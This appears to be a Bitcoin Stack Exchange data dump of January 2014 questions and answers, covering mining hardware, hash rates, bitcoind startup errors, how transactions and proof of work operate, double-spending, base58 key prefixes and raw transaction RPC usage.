  <row Id="20235" PostTypeId="1" CreationDate="2014-01-10T07:19:50.667" Score="0" ViewCount="376" Body="&lt;p&gt;I have one computer with windows 8.1 13.11 driver and a 280x which gets 720KHS and another computer with the same setup which gets 620KHS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have a different cpu ram and psu (both have quality ones).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be?&lt;/p&gt;&#xA;" OwnerUserId="12014" LastEditorUserId="5406" LastEditDate="2016-04-25T21:00:17.787" LastActivityDate="2016-04-25T21:00:17.787" Title="Same setup different hash rate" Tags="|litecoin|mining-hardware|hashpower|mining-setup|scrypt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20237" PostTypeId="2" ParentId="20235" CreationDate="2014-01-10T07:31:29.547" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I have one computer with windows 8.1 13.11 driver and a 280x which&#xA;  gets 720KHS and another computer with the same setup which gets&#xA;  620KHS.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;They have a different cpu ram and psu (both have quality ones).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;How can this be?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's because they have a different ram. With scrypt mining RAM is of up most importance. The faster/higher quality the ram, the faster you can mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scrypt was made to require ram so it would slow down the over all hashing power and to resist asics.&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2014-01-10T07:31:29.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20239" PostTypeId="1" CreationDate="2014-01-10T07:35:27.743" Score="2" ViewCount="2034" Body="&lt;p&gt;i went to configmyrig.com and selected the options to hit something close to 5mh.&#xA;here is a screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://s28.postimg.org/uayj19exp/Screen_Shot_2014_01_09_at_11_21_58_PM.png&quot; rel=&quot;nofollow&quot;&gt;http://s28.postimg.org/uayj19exp/Screen_Shot_2014_01_09_at_11_21_58_PM.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'll be scrypt mining at a multipool and the total that came up for the complete setup is about $5,000 seems like alot but let me know if you have any suggestions. What i'm wondering is how many PSU's would I will need and what kind is recommended? I'm thinking it would be a gold or platinum for the PSUs but i'm not sure how many and what kind would suit 6 Radeon R9 290x's. Also is the motherboard &amp;amp; cpu selected good enough? I'll be using a milk carton for the rig instead of a case so i'll need to get a hold of a good one.&lt;/p&gt;&#xA;" OwnerUserId="3773" LastEditorUserId="5406" LastEditDate="2016-03-17T16:11:40.333" LastActivityDate="2016-03-17T16:11:40.333" Title="scrypt mining rig suggestions" Tags="|litecoin|mining-hardware|scrypt|mining-setup|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20240" PostTypeId="2" ParentId="20190" CreationDate="2014-01-10T07:55:02.997" Score="0" Body="&lt;p&gt;If they're aren't enough miners then that means that people have lost faith in Bitcoin more than anything. If some miners drop out they will only make mining more profitable for others.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-10T07:55:02.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20241" PostTypeId="2" ParentId="1215" CreationDate="2014-01-10T07:59:39.633" Score="2" Body="&lt;p&gt;I realize that this is a very old question, but I think it makes sense to give an update nevertheless.  Recently, a port of the Qt-UI for Bitcoin has been done also for Namecoin.  It provides full support also for name operations and even configuring domains directly without the need to come up with the correct JSON strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new Namecoin-Qt is available at &lt;a href=&quot;https://github.com/namecoin-qt/namecoin-qt&quot; rel=&quot;nofollow&quot;&gt;https://github.com/namecoin-qt/namecoin-qt&lt;/a&gt;, and third-party binaries can be found at &lt;a href=&quot;https://namecoin.org/download&quot; rel=&quot;nofollow&quot;&gt;https://namecoin.org/download&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12016" LastActivityDate="2014-01-10T07:59:39.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20243" PostTypeId="2" ParentId="20173" CreationDate="2014-01-10T08:02:56.053" Score="1" Body="&lt;p&gt;It's not about size, it's about fee. If you can have a high enough fee to make a massively sized transaction be incentived to miners, your good. See transaction priority for what I mean.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-10T08:02:56.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20247" PostTypeId="1" AcceptedAnswerId="20248" CreationDate="2014-01-10T10:12:50.800" Score="9" ViewCount="8450" Body="&lt;p&gt;After starting bitcoin from the command line, with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I immediately run the followup command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives me the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;error: couldn't connect to server&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This error lasts from a few seconds to a few minutes depending on the machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is Bitcoin doing during this time, that causes this error (i.e. prevents the client from returning the results of &lt;code&gt;getinfo&lt;/code&gt;)?&lt;/li&gt;&#xA;&lt;li&gt;Are there any steps I can take that will minimize this start-up time?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10466" LastEditorUserId="5406" LastEditDate="2015-12-24T11:20:35.743" LastActivityDate="2015-12-24T11:20:35.743" Title="Why does bitcoind say &quot;error: couldn't connect to server&quot; for the first few minutes of boot-up?" Tags="|bitcoind|server|error|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20248" PostTypeId="2" ParentId="20247" CreationDate="2014-01-10T10:21:12.787" Score="11" Body="&lt;p&gt;The first thing Bitcoin-QT does is verify that the data stored on the disk is valid. Among other checks this includes verifying the last 288 blocks (the past two days in expectation). This task involves a large number of signature checks and will take some time to complete. Only after the startup checks have successfully completed will the connections to the Bitcoin Network be established and only then the client will start listening for incoming JSON-RPC requests.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-01-10T10:21:12.787" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20252" PostTypeId="2" ParentId="20239" CreationDate="2014-01-10T11:30:25.547" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What i'm wondering is how many PSU's would I will need and what kind is recommended? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would recommend much higher PSU, at least 1000 Watt PSU for each two Radeon's R9 290x. This is based on some recommendations I found (&lt;a href=&quot;http://www.tomshardware.co.uk/answers/id-1873375/power-supply-support-radeon-290s-290x.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.tomshardware.co.uk/answers/id-1889129/power-supply-sapphire-280x.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;). I am 99.99% confident a single 750 Watt PSU will NOT be able to cover 6 GPUs of that power. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also think the motherboard you selected can only take 3 cards, you need to double check. Even with 3 slots the cards may not have enough room between the slots, so you will need to use extension cables. The CPU is actually overpowered, I would select a low-power one. CPU will not be used for mining. Memory is not used as well. You will be covered with a 2-4GB stick to run the OS processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No one seem to be bothered with a case. For that much price of a hardware you don't want much dust to come in. Or any morning coffee spilt on your expensive hardware... I would advice to buy a large, solid, enclosure with good ventilation. This would cost you around $200. But it will protect the hardware much better then a milk or vegi plastic case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just thoughts, I am NOT a professional electrical engineer. &lt;/p&gt;&#xA;" OwnerUserId="11862" LastActivityDate="2014-01-10T11:30:25.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20255" PostTypeId="1" CreationDate="2014-01-10T12:19:51.513" Score="0" ViewCount="134" Body="&lt;p&gt;Let's say you have a 15 second block time, and after your first transaction, your wallet's send button is frozen, and you have to wait for 2.5 minutes before you can send another transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this prevent somebody from &lt;a href=&quot;https://en.wikipedia.org/wiki/Double-spending&quot; rel=&quot;nofollow&quot;&gt;doublespending&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: in case you want to ask how this could be enforced on the send button: Hmmmm maybe with something like &lt;a href=&quot;https://en.wikipedia.org/wiki/Scrypt&quot; rel=&quot;nofollow&quot;&gt;scrypt&lt;/a&gt; which is timebased.&lt;/p&gt;&#xA;" OwnerUserId="11945" LastEditorUserId="5406" LastEditDate="2014-10-14T12:13:34.817" LastActivityDate="2014-10-14T12:13:34.817" Title="Could this stop double-spending?" Tags="|bitcoin-core|doublespend|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20257" PostTypeId="1" AcceptedAnswerId="20269" CreationDate="2014-01-10T14:01:38.723" Score="3" ViewCount="3389" Body="&lt;p&gt;I just can't seem to understand how bitcoin works. Here is what I understand so far.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alice sends 1 Bitcoin to bob's public address&lt;/li&gt;&#xA;&lt;li&gt;A new transaction gets created for miners to approve. A transaction will have the following properties&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sender's public address&lt;/li&gt;&#xA;&lt;li&gt;Receivers public address&lt;/li&gt;&#xA;&lt;li&gt;Amount&lt;/li&gt;&#xA;&lt;li&gt;Timestamp&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;The transaction gets broadcasted to multiple nodes on the bitcoin network&lt;/li&gt;&#xA;&lt;li&gt;Miners/Nodes listening for incoming transactions receive Alice's transaction and want to make sure that the transaction is legit and there is not double spending.&lt;/li&gt;&#xA;&lt;li&gt;Miners/Nodes start looking up the ledger (block chain) which holds all the transactions that every happened from the beginning of time to find if all the previous transactions by Alice have been completed and if they are, only then execute the new transaction.&lt;/li&gt;&#xA;&lt;li&gt;When a miner validates the new transaction it transfers the 1BTC over to Bob's account minus transaction fee.&lt;/li&gt;&#xA;&lt;li&gt;And Bob is 1BTC richer and he lives happily ever after.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please correct me if I am wrong and I honestly don't understand whats the story with the 'n' number of zeros being added to the a string to prove a transaction is valid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help. I'm trying to understand this so that I can contribute to Bitcoin's source code. &lt;/p&gt;&#xA;" OwnerUserId="11977" LastActivityDate="2014-01-10T15:54:09.107" Title="How transactions get added to a ledger?" Tags="|transactions|proof-of-work|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20259" PostTypeId="1" CreationDate="2014-01-10T14:28:53.510" Score="0" ViewCount="12902" Body="&lt;p&gt;I bought bitcoins and sent them to the wallet, however the wallet is not synchronized and as a result I cannot see my bitcoins. Will I be able to see them as soon as the synch process finishes or have I lost them? And if I did, is there any way I can recover them?&lt;/p&gt;&#xA;" OwnerUserId="12027" LastEditorUserId="132" LastEditDate="2014-01-13T13:03:41.453" LastActivityDate="2014-05-28T12:14:16.260" Title="Wallet Out of Sync and Bitcoin transfer" Tags="|wallet|synchronization|" AnswerCount="1" CommentCount="2" ClosedDate="2015-08-20T11:20:24.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="20262" PostTypeId="1" AcceptedAnswerId="20272" CreationDate="2014-01-10T14:58:33.430" Score="2" ViewCount="965" Body="&lt;p&gt;I want to create a paperwallet for an altcoin (&lt;a href=&quot;http://protoshares.net/&quot; rel=&quot;nofollow&quot;&gt;Protoshares&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the public key version byte is &lt;code&gt;0x38&lt;/code&gt; (56) and the addresses start with &lt;code&gt;P...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do I find out the ECDSA private key prefix? For bitcoin it's &lt;code&gt;0x80&lt;/code&gt;, for litecoin it's &lt;code&gt;0xb0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Protoshares private keys start with &lt;code&gt;7...&lt;/code&gt; if that helps. Any idea where to look at?&lt;/p&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2014-01-25T10:53:01.163" Title="How to find out the ECDSA private key perfix version for Altcoins?" Tags="|private-key|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20263" PostTypeId="1" AcceptedAnswerId="20267" CreationDate="2014-01-10T15:03:04.413" Score="0" ViewCount="914" Body="&lt;p&gt;After a lot of reasearch on the net, I still can figure out if the following idea is relevant or not :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know (or at least I think I know) that each transaction consume all the bitcoins present at the inputs addresses. So if a bitcoin address is in the inputs of a transaction, you don't have to look at all the transactions older than this one to know how much bitcoins there is for this address. That means that we could remove all these olders transactions from the blocks keeping only there hashes via the Merkle pruning trick. With time, the Merkle Trees in each old blocks will become smaller and smaller so that space can be spared. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that it will erase forever a part of the transactions, but the number of bitcoins for each bitcoin address will remain correct and perhaps that's the price to pay to keep a managable blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there already some work in this direction ?&#xA;Is this a stupid idea ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help&lt;/p&gt;&#xA;" OwnerUserId="12028" LastActivityDate="2014-01-10T15:19:57.847" Title="Old transactions in the blockchain" Tags="|transactions|blockchain|merkle-tree|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20265" PostTypeId="1" CreationDate="2014-01-10T15:14:32.993" Score="1" ViewCount="137" Body="&lt;p&gt;Hey guys is there any way to find out how much trading in bitcoin goes on within an individual country? I'm specifically looking for info on the country of Cyprus.&lt;/p&gt;&#xA;" OwnerUserId="12030" LastEditorUserId="1891" LastEditDate="2014-01-11T00:36:15.860" LastActivityDate="2015-01-06T07:00:08.497" Title="Bitcoin trading in Cyprus" Tags="|trading|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20267" PostTypeId="2" ParentId="20263" CreationDate="2014-01-10T15:19:57.847" Score="1" Body="&lt;p&gt;A transaction consumes all of the coins for the connected transaction outputs.  But a bitcoin address can have multiple transactions.  So even though one transaction is consumed, that doesn't mean the address doesn't have any other coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your general idea, though, is correct.  You can remove a transaction once all of its outputs have been spent (a transaction can have more than one output, so you have to track each output).  This has been discussed and even implemented in alternate bitcoin clients.  I don't know if or when it might be implemented in the reference client (bitcoind/bitcoin-qt).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an implementation that I have been working on which uses a SQL database.  So far, it has processed the block chain up to August 2013 and there are 2,000,000 transactions with unspent outputs.  The database itself is around 1.2GB at the moment, so it is a significant saving over the full blockchain (15.1 GB on my system).  The drawback is you cannot supply the full blockchain to other nodes (I keep just the last 30 days).  So you would still need full nodes to provide the blockchain or download sites/torrents to allow a new node to get up to speed.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-01-10T15:19:57.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20268" PostTypeId="2" ParentId="20257" CreationDate="2014-01-10T15:40:35.357" Score="2" Body="&lt;p&gt;The transaction contains a signature created by Alice to prove she owns the coins and  Bob's address.  The bitcoin node verifies the transaction to make sure the signature is valid and the output has not been spent yet.  If the transaction passes verification, it is added to the pool of available transactions.  Miners get transactions from the pool to create a block to be mined.  If Alice's transaction is included in a block and the block is accepted by the network, then the transaction becomes a permanent part of the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of leading zero bits in the block hash represents the network difficulty.  A SHA-256 hash is 32 bytes and cannot be predicted based upon the input data.  So you have to keep changing the input data (the nonce) and repeating the hash until you get a result that meets the difficulty requirement.  The easiest result is a hash that doesn't require any leading zeros, which means you have to hash the data just once (any result is valid).  If you require one zero bit, you have reduced the number of valid hashes by a factor of 2.  So it will take longer to find a valid hash since any result with a non-zero first bit has to be discarded (on average, 50% would be discarded).  As you keep increasing the number of leading zero bits, you keep reducing the pool of valid results, making it harder and harder to find a result (more and more results are discarded and have to be re-hashed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to keep finding a new block once every 10 minutes.  As the network hash power increases, the rate of new blocks also increases.  So additional zero bits are added to the required result to make it harder to find a block and thus bring the rate back to once every 10 minutes.  If the network hash power should decrease, the reverse would happen and the number of zero bits would be reduced to allow blocks to be found more quickly.  This adjustment is performed every 2016 blocks.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-01-10T15:40:35.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20269" PostTypeId="2" ParentId="20257" CreationDate="2014-01-10T15:47:45.493" Score="3" Body="&lt;p&gt;The process actually goes like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alice sends 1BTC to Bob's address. A new transaction gets created with:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;As many inputs as necessary (unspent outputs from Alice's previously received transactions) formed by:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Previous transaction ID (&lt;code&gt;txid&lt;/code&gt;, the transaction which sent Alice the coins she's going to spend) and output index (&lt;code&gt;vout&lt;/code&gt;, which output of the transaction is being spent)&lt;/li&gt;&#xA;&lt;li&gt;Alice's &lt;code&gt;public key&lt;/code&gt; (whose &lt;code&gt;hash(publicKey)&lt;/code&gt; must match the hash included in the previous transaction)&lt;/li&gt;&#xA;&lt;li&gt;A &lt;code&gt;signature&lt;/code&gt; over the whole transaction, signed with Alice's private key and verifiable with the included public key&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;As many outputs as necessary/wanted pointing to Bob's addresses (remember each address is just a hash, not public key!)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is the hash Bob will have to match with his public key to spend the coins!&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;The raw transaction is broadcast&lt;/li&gt;&#xA;&lt;li&gt;Miners receive this transaction, verify and validate it (check signatures, check that inputs are valid and unspent, check that hash included in unspent outputs equals hash of the provided public key)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Up til here you got it more or less. Now here's what you didn't get:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Miners add this transaction to their current block, which holds even more unconfirmed transactions&lt;/li&gt;&#xA;&lt;li&gt;The miner keeps hashing the block with an incrementing nonce&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In each nonce incrementation, the hash is different&lt;/li&gt;&#xA;&lt;li&gt;If &lt;code&gt;hash(block+nonce) &amp;lt; target&lt;/code&gt; (target varies with difficulty), the block has been mined and is considered valid&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;When block is mined, it's broadcast to the rest of the network, which in turn update their blockchain and start mining from this block (if it's the head of the longest known chain)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Getting a block and nonce whose &lt;code&gt;H(block+nonce) &amp;lt; target&lt;/code&gt; is a probabilistic process and you can only get a mined block via trial and error. If you mine a block, you've spent lots of trials and errors (proof of work) but verifying that the block is correct is very cheap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These mined blocks form a chain. Miners compete to form the longest chain. This is what makes Bitcoin secure: to change the chain you have to mine as many blocks as you'd like to change plus one, before anyone else finds a single block.&lt;/p&gt;&#xA;" OwnerUserId="11761" LastEditorUserId="11761" LastEditDate="2014-01-10T15:54:09.107" LastActivityDate="2014-01-10T15:54:09.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20270" PostTypeId="2" ParentId="20219" CreationDate="2014-01-10T15:55:07.197" Score="3" Body="&lt;p&gt;P2Pool allows individual miners to band together and find blocks with the reward being shared directly with the miners who participated in finding the block.  If you didn't contribute a pool share during a round, you wouldn't receive a payment for a block found by the round.  The pool has a lower difficulty than the network but greater than an individual miner.  That is, your miner can be submitting shares to the pool but you won't get a pool share unless one of your shares has a difficulty greater than the pool difficulty.  When somebody submits a share with a difficulty greater than the network difficulty, a block is found and everybody who contributed at least one pool share gets part of the reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the trade-off is a high variance since you only get paid if you were participating at the time a block is found and you contributed a pool share.  And finding a block itself is highly variable since it depends on the total hash power of the pool (luck also plays a large role).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your hash power, you could run your own p2pool or join a p2pool set up by somebody else.  The advantage of joining a common p2pool is it increases your chance to contribute a pool share and thus share in the block reward.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-01-10T15:55:07.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20271" PostTypeId="1" CreationDate="2014-01-10T15:56:59.580" Score="-1" ViewCount="358" Body="&lt;p&gt;i have read some questions that ask &quot;how much is the hardware etc to mine, and how long for it to pay for itself&quot; which i think is a reasonable question, many answers explain how much it costs to buy a mining computer etc! but i cant see where anyone says &quot;mine cost £xxxx and it generates £yyyyyyyy in real pounds cash! what ishard about the question? &#xA;so lets say i buy equipment for £1k what return can i expect versus running costs? &lt;/p&gt;&#xA;" OwnerUserId="12033" LastEditorUserId="5406" LastEditDate="2016-04-25T20:59:30.593" LastActivityDate="2016-04-25T20:59:30.593" Title="bitcoin mining costs" Tags="|mining-profitability|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20272" PostTypeId="2" ParentId="20262" CreationDate="2014-01-10T16:01:50.353" Score="2" Body="&lt;p&gt;Take the private key. It's probably expressed in base-58 encoding, so you just have to translate the number into base-16. The prefix is there in hexadecimal form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To convert a base58 number to hex, check &lt;a href=&quot;https://bitcointalk.org/index.php?topic=29140.msg370477#msg370477&quot; rel=&quot;nofollow&quot;&gt;etotheipi's code&lt;/a&gt;. Based on it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b58_digits = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'&#xA;&#xA;def base58_to_hex(b58str):&#xA;  n = 0&#xA;  for s in b58str:&#xA;    n *= 58&#xA;    digit = b58_digits.index(s)&#xA;    n += digit&#xA;  return hex(n)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11761" LastEditorUserId="11761" LastEditDate="2014-01-10T16:07:01.447" LastActivityDate="2014-01-10T16:07:01.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20273" PostTypeId="2" ParentId="20255" CreationDate="2014-01-10T16:05:50.723" Score="10" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Double-spending&quot;&gt;Double-spending&lt;/a&gt; has nothing to do with double clicking the send button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It involves a malicious user, who will not use the standard client. It will hack one to avoid any client-side limits, sending two transactions to a different side of a blockchain fork, so both sides don't know about the transaction sent to the counterpart and includes the transaction in their forked version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you manage to do so while using both transactions to pay for something and are accepted, after the reorganization (the process by which forks are resolved) only one side of the fork will be mantained, so the blockchain will be OK as only one transaction will be kept, but you got both payments effectively using the same coins to pay two different merchants and one of them will lose what you paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, it is not an usual scenario. Forks are more or less common but not really deep as they typically get resolved within a single block. That's why it is recommended to accept a transaction only after six confirmations, as a fork of six blocks is almost impossible to appear under normal circumstances. But do note that even this has happened, when a bug between software versions kept some miners from agreeing to mine on what would otherwise have been the consensus branch.&lt;/p&gt;&#xA;" OwnerUserId="10574" LastEditorDisplayName="user6049" LastEditDate="2014-01-11T09:21:33.820" LastActivityDate="2014-01-11T09:21:33.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20274" PostTypeId="2" ParentId="20265" CreationDate="2014-01-10T16:32:08.710" Score="1" Body="&lt;p&gt;Here is a link from where you can get some ideas about Cyprus trade of Bitcoins. &lt;a href=&quot;https://localbitcoins.com/country/CY&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/country/CY&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11196" LastActivityDate="2014-01-10T16:32:08.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20275" PostTypeId="2" ParentId="16751" CreationDate="2014-01-10T16:35:40.773" Score="2" Body="&lt;p&gt;Actually you can spend these if you &lt;strong&gt;REALLY&lt;/strong&gt; need it creating a &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;raw transaction&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Collect unspent outputs. RPC &lt;code&gt;listunspent&lt;/code&gt; does this, but IIRC it's empty until you download the whole blockchain. You can also check Blockchain.info for known transactions.&lt;/li&gt;&#xA;&lt;li&gt;For each unspent output grab the transaction id (&lt;code&gt;txid&lt;/code&gt;), output index (&lt;code&gt;vout&lt;/code&gt;) and script (&lt;code&gt;scriptPubKey&lt;/code&gt;) and write down as &lt;code&gt;{&quot;txid&quot;:&quot;exampleID&quot;,&quot;vout&quot;:x,&quot;scriptPubKey&quot;:&quot;exampleScript&quot;}&lt;/code&gt;. We'll call each one of these &lt;code&gt;{in1}&lt;/code&gt;, &lt;code&gt;{in2}&lt;/code&gt;, ..., &lt;code&gt;{inN}&lt;/code&gt; for &lt;code&gt;N&lt;/code&gt; inputs.&lt;/li&gt;&#xA;&lt;li&gt;Concatenate all  inputs like this &lt;code&gt;'[{in1},{in2},...,{inN}]'&lt;/code&gt; where each &lt;code&gt;{inX}&lt;/code&gt; is what you annotated earlier in step 2. Note the opening and closing &lt;code&gt;'&lt;/code&gt; !&lt;/li&gt;&#xA;&lt;li&gt;Concatenate destination addresses and amounts like this &lt;code&gt;'{&quot;out1&quot;:amt1,&quot;out2&quot;:amt2,...,&quot;outM&quot;:amtM}&lt;/code&gt;. &lt;strong&gt;Remember to send unspent change to yourself!&lt;/strong&gt; Change not sent back will be sent as a mining fee. Remember to set a sensible fee too.&lt;/li&gt;&#xA;&lt;li&gt;Use RPC: &lt;code&gt;createrawtransaction '[{in1},{in2},...,{inN}]' '{&quot;out1&quot;:amt1,&quot;out2&quot;:amt2,...,&quot;outX&quot;:amtM}'&lt;/code&gt;. This will return a hex string composed of numbers &lt;code&gt;0-9&lt;/code&gt; and letters &lt;code&gt;A-F&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Use RPC: &lt;code&gt;signrawtransaction &quot;resultStep5&quot; '[{in1},{in2},...,{inN}]'&lt;/code&gt;. This will return &lt;code&gt;{&quot;hex&quot;: &quot;string of 0-9 A-F&quot;, &quot;complete&quot;: true}&lt;/code&gt;. If complete says &lt;code&gt;false&lt;/code&gt; the transaction is not signed (perhaps wrong input, or missing private keys).&lt;/li&gt;&#xA;&lt;li&gt;Double check the transaction using RPC &lt;code&gt;decoderawtransaction hexStep6&lt;/code&gt;. Check that outputs are fine and fee is not too much/little.&lt;/li&gt;&#xA;&lt;li&gt;If &lt;code&gt;&quot;complete: true&quot;&lt;/code&gt; and the transaction has been double-checked, broadcast it using RPC: &lt;code&gt;sendrawtransaction hexStep6&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11761" LastActivityDate="2014-01-10T16:35:40.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20276" PostTypeId="1" AcceptedAnswerId="20284" CreationDate="2014-01-10T16:44:53.397" Score="1" ViewCount="255" Body="&lt;p&gt;Now I know there is one Bitcoin ATM in Vancouver, Canada. Is there a Bitcoin ATM in London? If yes, where is it located?&lt;/p&gt;&#xA;" OwnerUserId="11196" LastEditorUserId="5406" LastEditDate="2014-01-11T12:08:44.107" LastActivityDate="2014-04-11T16:24:33.650" Title="Is there a Bitcoin ATM in London?" Tags="|buy-bitcoins|bitcoin-atm|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
